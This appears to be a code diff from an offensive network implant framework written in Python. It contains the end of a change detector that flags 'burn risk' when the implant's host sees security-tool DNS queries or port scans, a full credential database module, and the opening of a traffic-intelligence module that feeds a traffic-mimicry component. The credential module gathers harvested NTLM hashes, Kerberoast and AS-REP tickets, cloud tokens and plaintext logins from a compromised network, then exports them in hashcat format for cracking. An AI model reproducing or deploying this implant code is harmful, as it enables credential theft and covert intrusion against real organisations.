description=f"Connection to implant IP {dst_ip}:{dst_port} "
|
||||
f"from {src_ip}",
|
||||
target_ip=dst_ip,
|
||||
severity="critical",
|
||||
)
|
||||
|
||||
# Track port scan patterns
|
||||
with self._lock:
|
||||
attempts = self._port_attempts[src_ip]
|
||||
attempts.append((ts, dst_port))
|
||||
|
||||
# Prune old entries
|
||||
cutoff = ts - _SCAN_THRESHOLD_WINDOW
|
||||
self._port_attempts[src_ip] = [
|
||||
(t, p) for t, p in attempts if t > cutoff
|
||||
]
|
||||
|
||||
# Check for scan pattern
|
||||
recent = self._port_attempts[src_ip]
|
||||
unique_ports = len(set(p for _, p in recent))
|
||||
|
||||
if unique_ports >= _SCAN_THRESHOLD_PORTS:
|
||||
self._record_change(
|
||||
change_type="mass_port_scan",
|
||||
description=f"Port scan from {src_ip}: "
|
||||
f"{unique_ports} unique ports in "
|
||||
f"{_SCAN_THRESHOLD_WINDOW}s",
|
||||
target_ip=src_ip,
|
||||
severity="critical",
|
||||
)
|
||||
# Reset to avoid flood
|
||||
self._port_attempts[src_ip] = []
|
||||
|
||||
def ingest_dns_query(self, query_name: str, client_ip: str = "") -> None:
|
||||
"""Check DNS queries for security tool investigation indicators."""
|
||||
query_lower = query_name.lower()
|
||||
for pattern in _SECURITY_DNS_PATTERNS:
|
||||
if pattern in query_lower:
|
||||
self._record_change(
|
||||
change_type="security_tool_traffic",
|
||||
description=f"Security tool DNS query: {query_name} "
|
||||
f"from {client_ip}",
|
||||
new_value=query_name,
|
||||
target_ip=client_ip,
|
||||
severity="critical",
|
||||
)
|
||||
break
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Monitor loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_loop(self) -> None:
|
||||
"""Periodic monitoring: check for disappeared hosts, etc."""
|
||||
interval = self.config.get("change_check_interval", 300)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
if self._baseline_built:
|
||||
self._check_disappeared_hosts()
|
||||
self._prune_scan_tracking()
|
||||
except Exception:
|
||||
logger.exception("Change detector monitor cycle failed")
|
||||
|
||||
def _check_disappeared_hosts(self) -> None:
|
||||
"""Check if any baseline hosts have disappeared."""
|
||||
# Get current known hosts from host_discovery
|
||||
current_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if not current_json:
|
||||
return
|
||||
|
||||
try:
|
||||
current_hosts = json.loads(current_json)
|
||||
current_ips = {h.get("ip") for h in current_hosts if h.get("ip")}
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
baseline_rows = self._conn.execute(
|
||||
"SELECT ip, hostname FROM baseline_hosts"
|
||||
).fetchall()
|
||||
|
||||
for row in baseline_rows:
|
||||
ip = row["ip"]
|
||||
if ip not in current_ips:
|
||||
# Check if we already recorded this disappearance recently
|
||||
recent = self._conn.execute(
|
||||
"""SELECT id FROM changes
|
||||
WHERE change_type='host_disappeared' AND target_ip=?
|
||||
AND timestamp > ?""",
|
||||
(ip, time.time() - 3600),
|
||||
).fetchone()
|
||||
|
||||
if not recent:
|
||||
hostname = row["hostname"]
|
||||
self._record_change(
|
||||
change_type="host_disappeared",
|
||||
description=f"Baseline host disappeared: {ip} "
|
||||
f"({hostname})",
|
||||
old_value=ip,
|
||||
target_ip=ip,
|
||||
)
|
||||
|
||||
def _prune_scan_tracking(self) -> None:
|
||||
"""Remove stale scan tracking data to limit memory usage."""
|
||||
cutoff = time.time() - (_SCAN_THRESHOLD_WINDOW * 2)
|
||||
with self._lock:
|
||||
stale = [
|
||||
ip for ip, attempts in self._port_attempts.items()
|
||||
if not attempts or attempts[-1][0] < cutoff
|
||||
]
|
||||
for ip in stale:
|
||||
del self._port_attempts[ip]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Change recording
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_change(self, change_type: str, description: str,
|
||||
old_value: str = "", new_value: str = "",
|
||||
target_ip: str = "", severity: str = None) -> None:
|
||||
"""Record a detected change and publish an event."""
|
||||
if severity is None:
|
||||
severity = _CHANGE_SEVERITY.get(change_type, "info")
|
||||
|
||||
now = time.time()
|
||||
self._change_count += 1
|
||||
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO changes
|
||||
(timestamp, change_type, severity, description,
|
||||
old_value, new_value, target_ip)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)""",
|
||||
(now, change_type, severity, description,
|
||||
old_value, new_value, target_ip),
|
||||
)
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to record change")
|
||||
return
|
||||
|
||||
# Publish event
|
||||
self.bus.emit("CHANGE_DETECTED", {
|
||||
"change_type": change_type,
|
||||
"severity": severity,
|
||||
"description": description,
|
||||
"target_ip": target_ip,
|
||||
"old_value": old_value,
|
||||
"new_value": new_value,
|
||||
}, source_module=self.name)
|
||||
|
||||
if severity == "critical":
|
||||
logger.critical("BURN RISK: %s", description)
|
||||
elif severity == "warning":
|
||||
logger.warning("Change: %s", description)
|
||||
else:
|
||||
logger.info("Change: %s", description)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_changes(self, severity: str = None, change_type: str = None,
|
||||
since: float = 0, limit: int = 100) -> list:
|
||||
"""Query recorded changes with optional filters."""
|
||||
clauses = ["timestamp > ?"]
|
||||
params: list = [since]
|
||||
|
||||
if severity:
|
||||
clauses.append("severity = ?")
|
||||
params.append(severity)
|
||||
if change_type:
|
||||
clauses.append("change_type = ?")
|
||||
params.append(change_type)
|
||||
|
||||
where = " AND ".join(clauses)
|
||||
params.append(limit)
|
||||
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
f"""SELECT * FROM changes
|
||||
WHERE {where}
|
||||
ORDER BY timestamp DESC LIMIT ?""",
|
||||
params,
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_critical_changes(self, hours: float = 24.0) -> list:
|
||||
"""Get critical changes in the last N hours."""
|
||||
since = time.time() - (hours * 3600)
|
||||
return self.get_changes(severity="critical", since=since)
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return change detection summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT severity, COUNT(*) FROM changes
|
||||
GROUP BY severity"""
|
||||
).fetchall()
|
||||
by_type = self._conn.execute(
|
||||
"""SELECT change_type, COUNT(*) FROM changes
|
||||
GROUP BY change_type"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total": sum(c for _, c in rows),
|
||||
"by_severity": {s: c for s, c in rows},
|
||||
"by_type": {t: c for t, c in by_type},
|
||||
"baseline_built": self._baseline_built,
|
||||
}
|
||||
@@ -0,0 +1,521 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Central credential store — aggregates credentials from all capture sources.
|
||||
|
||||
Subscribes to CREDENTIAL_FOUND, TICKET_HARVESTED, CLOUD_TOKEN_FOUND events.
|
||||
Deduplicates on (service, username, cred_type, cred_value). Exports in
|
||||
hashcat, CSV, and JSON formats. Tracks crack status per credential.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_TABLE_DDL = """
|
||||
CREATE TABLE IF NOT EXISTS credentials (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_module TEXT NOT NULL DEFAULT '',
|
||||
source_ip TEXT,
|
||||
target_ip TEXT,
|
||||
target_port INTEGER,
|
||||
service TEXT NOT NULL,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
domain TEXT DEFAULT '',
|
||||
cred_type TEXT NOT NULL,
|
||||
cred_value TEXT NOT NULL DEFAULT '',
|
||||
hashcat_mode INTEGER,
|
||||
cracked_value TEXT,
|
||||
crack_status TEXT DEFAULT 'uncracked',
|
||||
notes TEXT DEFAULT '',
|
||||
UNIQUE(service, username, cred_type, cred_value)
|
||||
)
|
||||
"""
|
||||
|
||||
_INDEXES = [
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_service ON credentials(service)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_user ON credentials(username)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_type ON credentials(cred_type)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_status ON credentials(crack_status)",
|
||||
]
|
||||
|
||||
# Legacy alias so any external code importing _SCHEMA still works
|
||||
_SCHEMA = _TABLE_DDL
|
||||
|
||||
# Hashcat mode mapping for common credential types
|
||||
_HASHCAT_MODES = {
|
||||
"ntlmv2": 5600,
|
||||
"ntlmv1": 5500,
|
||||
"ntlm": 1000,
|
||||
"net-ntlmv2": 5600,
|
||||
"net-ntlmv1": 5500,
|
||||
"kerberos_tgs": 13100, # Kerberoast — TGS-REP (RC4)
|
||||
"kerberos_as": 18200, # AS-REP roast
|
||||
"kerberos_tgs_aes128": 19600,
|
||||
"kerberos_tgs_aes256": 19700,
|
||||
"http_basic": None, # plaintext
|
||||
"http_digest": 11400,
|
||||
"snmp_community": None, # plaintext
|
||||
"mssql": 131,
|
||||
"mysql": 300,
|
||||
"postgres": None,
|
||||
"ftp": None, # plaintext
|
||||
"telnet": None, # plaintext
|
||||
"smtp": None, # plaintext
|
||||
"ldap": None, # plaintext
|
||||
"vnc": None, # plaintext
|
||||
"rdp_ntlm": 5600,
|
||||
"wpa_pmkid": 22000,
|
||||
"wpa_handshake": 22000,
|
||||
"cloud_token": None, # not hashable
|
||||
"ssh_key": None,
|
||||
"cookie": None,
|
||||
"jwt": None,
|
||||
"bearer_token": None,
|
||||
}
|
||||
|
||||
|
||||
class CredentialDB(BaseModule):
|
||||
"""Central credential database — ingests, deduplicates, and exports credentials."""
|
||||
|
||||
name = "credential_db"
|
||||
module_type = "intel"
|
||||
priority = 50
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._ingest_count = 0
|
||||
self._dedup_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "credentials.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.execute(_TABLE_DDL)
|
||||
self._conn.commit()
|
||||
self._migrate_schema()
|
||||
for idx_sql in _INDEXES:
|
||||
self._conn.execute(idx_sql)
|
||||
self._conn.commit()
|
||||
|
||||
# Subscribe to credential events
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.subscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
|
||||
self.bus.subscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("CredentialDB started — db=%s", self._db_path)
|
||||
|
||||
def _migrate_schema(self) -> None:
|
||||
"""Add columns that exist in _SCHEMA but are missing from an older table."""
|
||||
required = {
|
||||
"source_module": "TEXT NOT NULL DEFAULT ''",
|
||||
"cracked_value": "TEXT",
|
||||
"crack_status": "TEXT DEFAULT 'uncracked'",
|
||||
"notes": "TEXT DEFAULT ''",
|
||||
}
|
||||
cur = self._conn.execute("PRAGMA table_info(credentials)")
|
||||
existing = {row[1] for row in cur.fetchall()}
|
||||
for col, coldef in required.items():
|
||||
if col not in existing:
|
||||
self._conn.execute(f"ALTER TABLE credentials ADD COLUMN {col} {coldef}")
|
||||
logger.info("Schema migrated: added column %s", col)
|
||||
self._conn.commit()
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.unsubscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
|
||||
self.bus.unsubscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"CredentialDB stopped — ingested=%d, deduped=%d",
|
||||
self._ingest_count, self._dedup_count,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
total = 0
|
||||
cracked = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM credentials"
|
||||
).fetchone()
|
||||
total = row[0] if row else 0
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM credentials WHERE crack_status='cracked'"
|
||||
).fetchone()
|
||||
cracked = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_credentials": total,
|
||||
"cracked": cracked,
|
||||
"ingested": self._ingest_count,
|
||||
"deduped": self._dedup_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Handle CREDENTIAL_FOUND events from any capture module."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or p.get("source_module", "unknown"),
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port"),
|
||||
service=p.get("service", "unknown"),
|
||||
username=p.get("username", ""),
|
||||
domain=p.get("domain", ""),
|
||||
cred_type=p.get("cred_type", "unknown"),
|
||||
cred_value=p.get("cred_value", ""),
|
||||
hashcat_mode=p.get("hashcat_mode"),
|
||||
notes=p.get("notes", ""),
|
||||
)
|
||||
|
||||
def _on_ticket_harvested(self, event) -> None:
|
||||
"""Handle TICKET_HARVESTED events (Kerberos TGS/AS-REP)."""
|
||||
p = event.payload
|
||||
cred_type = p.get("ticket_type", "kerberos_tgs")
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or "kerberos_harvester",
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port", 88),
|
||||
service=p.get("spn", "krbtgt"),
|
||||
username=p.get("username", ""),
|
||||
domain=p.get("domain", ""),
|
||||
cred_type=cred_type,
|
||||
cred_value=p.get("ticket_hash", ""),
|
||||
hashcat_mode=_HASHCAT_MODES.get(cred_type),
|
||||
notes=p.get("notes", f"SPN: {p.get('spn', '')}"),
|
||||
)
|
||||
|
||||
def _on_cloud_token(self, event) -> None:
|
||||
"""Handle CLOUD_TOKEN_FOUND events (AWS/Azure/GCP tokens)."""
|
||||
p = event.payload
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or "cloud_token_harvester",
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port"),
|
||||
service=p.get("cloud_provider", "cloud"),
|
||||
username=p.get("identity", ""),
|
||||
domain=p.get("account_id", ""),
|
||||
cred_type="cloud_token",
|
||||
cred_value=p.get("token", ""),
|
||||
hashcat_mode=None,
|
||||
notes=p.get("notes", f"Provider: {p.get('cloud_provider', '')}"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core credential storage
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _ingest_credential(self, source_module: str, source_ip: str,
|
||||
target_ip: str, target_port: Optional[int],
|
||||
service: str, username: str, domain: str,
|
||||
cred_type: str, cred_value: str,
|
||||
hashcat_mode: Optional[int] = None,
|
||||
notes: str = "") -> bool:
|
||||
"""Insert a credential, deduplicating on (service, username, cred_type, cred_value).
|
||||
|
||||
Returns True if a new credential was inserted, False if duplicate.
|
||||
"""
|
||||
if not cred_value:
|
||||
return False
|
||||
|
||||
# Auto-resolve hashcat mode if not provided
|
||||
if hashcat_mode is None:
|
||||
hashcat_mode = _HASHCAT_MODES.get(cred_type.lower())
|
||||
|
||||
self._ingest_count += 1
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO credentials
|
||||
(timestamp, source_module, source_ip, target_ip, target_port,
|
||||
service, username, domain, cred_type, cred_value,
|
||||
hashcat_mode, crack_status, notes)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'uncracked', ?)""",
|
||||
(time.time(), source_module, source_ip, target_ip, target_port,
|
||||
service, username, domain, cred_type, cred_value,
|
||||
hashcat_mode, notes),
|
||||
)
|
||||
self._conn.commit()
|
||||
logger.info(
|
||||
"New credential: %s\\%s@%s (%s via %s)",
|
||||
domain, username, service, cred_type, source_module,
|
||||
)
|
||||
return True
|
||||
except sqlite3.IntegrityError:
|
||||
# Duplicate — update notes/source if new info
|
||||
self._dedup_count += 1
|
||||
self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET notes = CASE WHEN notes = '' THEN ? ELSE notes || '; ' || ? END,
|
||||
source_module = CASE WHEN source_module NOT LIKE '%' || ? || '%'
|
||||
THEN source_module || ',' || ? ELSE source_module END
|
||||
WHERE service=? AND username=? AND cred_type=? AND cred_value=?""",
|
||||
(notes, notes, source_module, source_module,
|
||||
service, username, cred_type, cred_value),
|
||||
)
|
||||
self._conn.commit()
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to ingest credential")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Crack status management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def update_crack_status(self, cred_id: int, status: str,
|
||||
cracked_value: str = "") -> None:
|
||||
"""Update crack status for a credential.
|
||||
|
||||
Args:
|
||||
cred_id: Credential ID.
|
||||
status: One of 'uncracked', 'cracking', 'cracked'.
|
||||
cracked_value: The plaintext password if cracked.
|
||||
"""
|
||||
if status not in ("uncracked", "cracking", "cracked"):
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET crack_status=?, cracked_value=?
|
||||
WHERE id=?""",
|
||||
(status, cracked_value, cred_id),
|
||||
)
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to update crack status for ID %d", cred_id)
|
||||
|
||||
def bulk_update_cracked(self, results: dict) -> int:
|
||||
"""Bulk update cracked passwords from hashcat output.
|
||||
|
||||
Args:
|
||||
results: {hash_value: plaintext_password, ...}
|
||||
|
||||
Returns:
|
||||
Number of credentials updated.
|
||||
"""
|
||||
updated = 0
|
||||
with self._lock:
|
||||
try:
|
||||
for hash_val, plaintext in results.items():
|
||||
cur = self._conn.execute(
|
||||
"""UPDATE credentials
|
||||
SET crack_status='cracked', cracked_value=?
|
||||
WHERE cred_value=? AND crack_status != 'cracked'""",
|
||||
(plaintext, hash_val),
|
||||
)
|
||||
updated += cur.rowcount
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to bulk update cracked credentials")
|
||||
return updated
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Export methods
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def to_hashcat(self, mode: Optional[int] = None) -> str:
|
||||
"""Export credentials in hashcat format, optionally filtered by mode.
|
||||
|
||||
Args:
|
||||
mode: Hashcat mode number. If None, export all hashable credentials.
|
||||
|
||||
Returns:
|
||||
Newline-separated hash strings ready for hashcat.
|
||||
"""
|
||||
with self._lock:
|
||||
if mode is not None:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, cred_value, cred_type
|
||||
FROM credentials
|
||||
WHERE hashcat_mode=? AND crack_status='uncracked'""",
|
||||
(mode,),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, cred_value, cred_type
|
||||
FROM credentials
|
||||
WHERE hashcat_mode IS NOT NULL AND crack_status='uncracked'""",
|
||||
).fetchall()
|
||||
|
||||
lines = []
|
||||
for username, domain, cred_value, cred_type in rows:
|
||||
# NTLMv2 and similar Net-NTLM hashes are already in hashcat format
|
||||
if cred_type.lower() in ("ntlmv2", "net-ntlmv2", "ntlmv1", "net-ntlmv1"):
|
||||
lines.append(cred_value)
|
||||
elif cred_type.lower() in ("kerberos_tgs", "kerberos_as",
|
||||
"kerberos_tgs_aes128", "kerberos_tgs_aes256"):
|
||||
lines.append(cred_value)
|
||||
else:
|
||||
# Generic: just the hash value
|
||||
lines.append(cred_value)
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
def to_csv(self) -> str:
|
||||
"""Export all credentials as CSV."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT id, timestamp, source_module, source_ip, target_ip,
|
||||
target_port, service, username, domain, cred_type,
|
||||
cred_value, hashcat_mode, cracked_value, crack_status, notes
|
||||
FROM credentials ORDER BY timestamp"""
|
||||
).fetchall()
|
||||
|
||||
output = io.StringIO()
|
||||
writer = csv.writer(output)
|
||||
writer.writerow([
|
||||
"id", "timestamp", "source_module", "source_ip", "target_ip",
|
||||
"target_port", "service", "username", "domain", "cred_type",
|
||||
"cred_value", "hashcat_mode", "cracked_value", "crack_status", "notes",
|
||||
])
|
||||
for row in rows:
|
||||
writer.writerow(row)
|
||||
|
||||
return output.getvalue()
|
||||
|
||||
def to_json(self) -> str:
|
||||
"""Export all credentials as JSON."""
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM credentials ORDER BY timestamp"""
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return json.dumps([dict(r) for r in rows], indent=2, default=str)
|
||||
|
||||
def summary(self) -> dict:
|
||||
"""Return a summary of stored credentials."""
|
||||
with self._lock:
|
||||
total = self._conn.execute("SELECT COUNT(*) FROM credentials").fetchone()[0]
|
||||
by_type = self._conn.execute(
|
||||
"SELECT cred_type, COUNT(*) FROM credentials GROUP BY cred_type"
|
||||
).fetchall()
|
||||
by_service = self._conn.execute(
|
||||
"SELECT service, COUNT(*) FROM credentials GROUP BY service"
|
||||
).fetchall()
|
||||
by_status = self._conn.execute(
|
||||
"SELECT crack_status, COUNT(*) FROM credentials GROUP BY crack_status"
|
||||
).fetchall()
|
||||
unique_users = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT username) FROM credentials"
|
||||
).fetchone()[0]
|
||||
unique_hosts = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT target_ip) FROM credentials WHERE target_ip != ''"
|
||||
).fetchone()[0]
|
||||
|
||||
return {
|
||||
"total": total,
|
||||
"unique_users": unique_users,
|
||||
"unique_hosts": unique_hosts,
|
||||
"by_type": {t: c for t, c in by_type},
|
||||
"by_service": {s: c for s, c in by_service},
|
||||
"by_status": {s: c for s, c in by_status},
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_credentials(self, service: str = None, username: str = None,
|
||||
cred_type: str = None, limit: int = 100) -> list:
|
||||
"""Query credentials with optional filters."""
|
||||
clauses = []
|
||||
params = []
|
||||
|
||||
if service:
|
||||
clauses.append("service = ?")
|
||||
params.append(service)
|
||||
if username:
|
||||
clauses.append("username = ?")
|
||||
params.append(username)
|
||||
if cred_type:
|
||||
clauses.append("cred_type = ?")
|
||||
params.append(cred_type)
|
||||
|
||||
where = " AND ".join(clauses) if clauses else "1=1"
|
||||
params.append(limit)
|
||||
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
f"SELECT * FROM credentials WHERE {where} ORDER BY timestamp DESC LIMIT ?",
|
||||
params,
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_cracked(self) -> list:
|
||||
"""Return all cracked credentials with plaintext values."""
|
||||
with self._lock:
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, service, cracked_value, target_ip
|
||||
FROM credentials
|
||||
WHERE crack_status='cracked' AND cracked_value IS NOT NULL
|
||||
ORDER BY timestamp DESC"""
|
||||
).fetchall()
|
||||
self._conn.row_factory = None
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
@@ -0,0 +1,480 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network intelligence — beacon detection, communication graph analysis,
|
||||
existing C2/malware detection, and service dependency mapping.
|
||||
|
||||
Analyzes traffic patterns to identify beaconing connections, central/isolated
|
||||
nodes, known-bad indicators, and service dependencies. Feeds anomaly
|
||||
baselines to traffic_mimicry.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Known malicious infrastructure patterns
|
||||
_KNOWN_BAD_PORTS = {
|
||||
4444, 5555, 1234, 31337, 8888, 6666, 6667, 6668, 6669, # common RAT/IRC
|
||||
4443, 8443, 2222, # common C2 alt ports
|
||||
}
|
||||
|
||||
# DNS tunneling detection thresholds
|
||||
_DNS_TUNNEL_MIN_SUBDOMAIN_LEN = 30 # base64-encoded data tends to be long
|
||||
_DNS_TUNNEL_QUERY_RATE = 50 # queries/min to a single domain = suspicious
|
||||
|
||||
# Beacon detection defaults
|
||||
_BEACON_INTERVAL_RATIO = 0.15 # stddev/mean < 0.15 = likely beacon
|
||||
_BEACON_MIN_CONNECTIONS = 10 # need enough samples to be meaningful
|
||||
|
||||
|
||||
class NetIntel(BaseModule):
|
||||
"""Analyze network traffic patterns for beacons, C2, anomalies, and dependencies."""
|
||||
|
||||
name = "net_intel"
|
||||
module_type = "intel"
|
||||
priority = 150
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
self._analysis_thread: Optional[threading.Thread] = None
|
||||
|
||||
# Connection tracking: (src, dst, port) -> [timestamps]
|
||||
self._conn_times: dict[tuple, list] = defaultdict(list)
|
||||
|
||||
# Communication graph: ip -> {peers: set, bytes_in, bytes_out}
|
||||
self._comm_graph: dict[str, dict] = defaultdict(
|
||||
lambda: {"peers": set(), "bytes_in": 0, "bytes_out": 0, "conn_count": 0}
|
||||
)
|
||||
|
||||
# DNS query tracking: domain -> [timestamps]
|
||||
self._dns_queries: dict[str, list] = defaultdict(list)
|
||||
|
||||
# Detected beacons
|
||||
self._beacons: list[dict] = []
|
||||
|
||||
# Service dependency map: service_ip:port -> [client_ips]
|
||||
self._service_deps: dict[str, set] = defaultdict(set)
|
||||
|
||||
# Anomalies / suspicious findings
|
||||
self._findings: list[dict] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_beacon_detected, "BEACON_DETECTED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic analysis thread
|
||||
self._analysis_thread = threading.Thread(
|
||||
target=self._analysis_loop, daemon=True,
|
||||
name="sensor-netintel-analysis",
|
||||
)
|
||||
self._analysis_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("NetIntel started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_beacon_detected, "BEACON_DETECTED")
|
||||
|
||||
# Persist findings
|
||||
self._save_findings()
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"NetIntel stopped — %d beacons, %d findings",
|
||||
len(self._beacons), len(self._findings),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"tracked_flows": len(self._conn_times),
|
||||
"graph_nodes": len(self._comm_graph),
|
||||
"beacons_detected": len(self._beacons),
|
||||
"findings": len(self._findings),
|
||||
}
|
||||
|
||||
